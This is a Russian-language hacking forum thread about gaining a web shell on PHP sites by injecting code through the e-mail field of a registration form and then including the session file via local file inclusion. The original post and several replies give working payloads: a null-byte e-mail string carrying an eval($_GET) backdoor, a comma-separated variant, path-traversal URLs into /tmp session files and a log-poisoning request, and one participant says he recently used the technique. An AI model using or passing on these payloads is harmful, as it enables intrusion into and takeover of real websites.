![]() |
Инъекция кода в mail()
Инъекция кода в mail()
К написанию этой заметки меня подтолкнуло одно из заданий в ROA. Суть сводится к тому, что в первый аргумент mail() (адресат) можно подставить посторонний php-код, при этом не влияя на успешность отправки. Данный способ актуален только для сайтов, где необходимо подтверждение регистрации (то есть необходимо указать верный E-mail и в то же время подставить код). В противном случае задача состоит лишь в обходе фильтрации, что не входит в рамки данной темы. Для получения шелла необходимо: 1. LFI на уязвимом сайте (с возможность инклуда сессий). 2. В сессию записывается E-mail пользователя (имеется во многих самописных движках). 3. Имеется возможность обхода фильтрации вводимого пользователем E-mail'a либо её полное отсутствие. 4. magic_quotes_gpc = off (в случае присутствия фильтрации, для вставки нуллбайта). При соблюдении этих условий для получения шелла необходимо (возможны различные вариации): 1. Подставить php-код в поле E-mail'a при регистрации. 2. Залогиниться. 3. Проинклудить сессию. ---------------------------------------------------------------------------------- Рассмотрим на примере. На сайте site.com имеется LFI с возможностью инклуда сессий: http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID} На страницу выводится нечто подобное: Код:
user_login|s:N:"{YOUR_LOGIN}";user_mail|s:N:"{YOUR_EMAIL}";user_password|s:32:"{YOUR_HASH}";Вариант с подстановкой php-кода в {YOUR_LOGIN} я рассматривать не буду, так как часто это поле жёстко фильтруется + обрабатывается htmlentities() + ограничено по длине. Рассмотрим вариант с E-mail. Часто в скриптах используется валидация E-mail при помощи бинарно-небезопасной функции ereg_*, поэтому нужно добавить нуллбайт %00 (функция воспримет его как конец строки и прекратит её обработку): Код:
your_mail@mail.ru%00<?=eval($_GET[c])?>В случае, если введён рабочий E-mail, на него благополучно придёт сообщение. Примерный запрос регистрации: Код:
POST /register.php HTTP/1.1После подтверждения регистрации и входа на сайт инклудим сессию: http://site.com/index.php?page=../../../../../../../tmp/sess_{YOUR_SESSION_ID}&c=phpinfo(); Шелл получен. ---------------------------------------------------------------------------------- (с) [x26]VOLAND |
Код шелла можно указывать через запятую.
Код:
your_mail@mail.ru, <?=eval($_GET[c])?> |
Очень много если должно совпасть, бывают такие ситуации что например include path ограничеваеться веб дирикторией, также возможен вариант что имя сессии не всегда sess_{YOUR_SESSION_ID}(возможно что сессия вообше хранится в бд ведь пхп это позволяет - http://ua.php.net/manual/en/function.session-set-save-handler.php).
|
Пхп всегда разрешает обращение к директории с сессиями.
Чтобы узнать её, нужно проинклудить конфиг апача. Но зачастую сессии просто хранятся в /tmp/ ... Цитата:
У каждого способа есть свои ограничения. Это естественно. |
Цитата:
|
PaCo, open_basedir в 99% случаев разрешает инклуд из /tmp, ну или из папки где хранятся сессии
|
SESSION_ID брать из куков, я правильно понимаю?
|
Либо из куков, либо из url. Зависит от настройки пхп.
|
[x26]VOLAND
Внимательно перечитал твою тему, сначало подумал что речь пойдет о mail в perl когда еще в 2000 году был баг с произвольным исполнением команд, но крайне удивился когда ты описал еще более древнюю тему, слегка не понял зачем исползывать именно mail() функцию когда речь идет о сессиях вообщем. И вообще в моем понимании если есть локальный инклуд то это 100% шелл, но раз уж речь пошла о сессиях то в них передаеться не только имя пользователя пароль маил но дофига другой инфы, короче говоря мы просто можем отснифать весь трафик и подделать запрос с именем пользователя это как правило не прокатит, а вот например с текущем языком или текущей страницей на которой находиться пользователей то это оч просто... особенно это канает в движках на ajax. [ cash ] (c) Hack-Shop.Org.Ru |
Цитата:
Код:
http://wow.alania.net/index.php?page=1 |
Цитата:
|
bug1z, этот чел шарит гораздо лучше тебя. (А судя по твоему ответу, ты пока недостаточно начитан, советую почитать/попрактиковаться).
|
Цитата:
|
Цитата:
Цитата:
|
Цитата:
|
Вот к примеру как можно раздобыть из локального, внешний инклюд.
http://target.com/<?PHP eval($_GET['c']) ?> Естественно ничего, тупо ошибка, но эта ошибка запишется в файл. А если инклюдить txt файл, а в нём PHP код, то он выполниться. кароч инклюдиш лог и долже сработать произвольный код. |
Ctacok это давно и всем известно и на ачате было уйма статей по этому поводу, фактически [x26]VOLAND описал обычный(вернее это было уже изложенно довольно давно ) инклюд файлов сессии в которые есть возможность записать свой код, и имхо название топа "немного" не точно.
|
Цитата:
Просто если кто то незнает, надо же своими школнеговскеми мозгами блеснуть =\ |
немного поясню, основная мысль Воланда была не в инклуде сессии, а именно в инъекте в mail(), таким образом, чтобы отправилось письмо на указанный ящик, и записался нужный нам код. Этот способ не обязательно использовать для инклуда, можно придумать еще применение этому.
|
Цитата:
|
Pashkela
Может денег сразу дать ? давай кошелек =) |
2 pampom:
У меня нет кошелька, мне он не нужен и никогда не был нужен:))) 2 [AVT]: Мужик:) Риспект. Но всё равно ты не прав:) Не всегда |
Цитата:
|
Пасиб за статью ))А на сервере может быть и несколько форм регистрации+mysql_quotes_gpc может и не на весь сервер распространяться...вот)).На правительственных и учрежденческих сайтах так оно и бывает(форм бывает до 5-6)
|
вы ещё не забывайте что в 50% случаев нехватает прав не чтение error_log и access_log
И кеш, локал инклуды разные бывают |
перечитал всю статью.
Все не верно, человек явно не понимает в кодинге. Расчитано на человека который не понимает в кодинге или не понимает сути Воn определённый код: Код:
<?php Цитата:
Цитата:
Код:
your_mail@mail.ru, <?=eval($_GET[c])?>Spyder Вариантов достаточно по мимо чтения чтение error_log и access_log, к примеру если на хосьте есть фаилообменник можно подгрузить скрипт оттуда, или форма для загрузки картинок где не фильтруется содержаниев ней PHP кода.Хотя соглашусь всё зависит от прав. |
2 _Quest_:
Тю, а я на днях заюзал именно ЭТУ багу, так что работает и статья рулеззная |
Квест, а ты явно не понимаешь в хакинге, перечитай статью еще три раза, потом проверь все написаное на живом примере, а потом отпишись.
|
Twoster поверь мне понимаю.
Какраз в ходе проверки и увидел подобный вариан как у меня.Видимо те движки которыя я проверял имели отлиную от найденного волондом структуру. Если не трудно- живой пример в студию. |
_Quest_ все работает в тех условиях что описал [x26]VOLAND
Цитата:
|
PaCo приведи пример. Твои слова обсолюто ни чем не аргументированны. Я поискал и замети то что отписал выше. Покажеш где это работает я признаю что ты прав.
|
Квест, раз уж ты все понимаешь, то советую еще больше расширить свои кругозор,
во-первых прочти статью Электа про обход фильтрации ereg null-байтом (это про %00), во-вторых ты пишешь про тему сообщения, а в заметке говорится о адресе, прочти документацию еще раз и узри что там адреса получателей заносятся через запятую, т.о. Если первым значением до занятой будет валидныи адрес, а после запятой наш зловредный кулхакерский код, то все прекрасно выполнится! П.с. Не обижайся, я раньше тоже таким был, сейчас приучили сначала читать, потом спорить. |
Twoster я всеголиш пытаюсь разобратся вышеописанное я читал и матерьял действительно проверен и усвоен.Обижатся ненашто тк все ошибки это не минус - это опыт.Ну рас ни кто не готов показать, поиду искать дальше.В любом случае спасибо за совет.
|
ок, я сейчас с телефона, в понедельник накатаю тебе скрипт, наглядным примером.
|
попадёшь в роа, увидишь там реальный пример мной написаный
воланд пришет про ereg-подобные функции которые уязвимы к нулбайту Если ты не нашёл ничего подобного в нескольких цмс - это не значит что такого не бывает |
Вот тебе РАБОЧИЙ пример:
PHP код:
имя_скрипта.php?page=/../../../../../../../TMP/sess_тут_индетификатор_сесси _из_кукисов_или_из_адресной _строки |
| Время: 02:25 |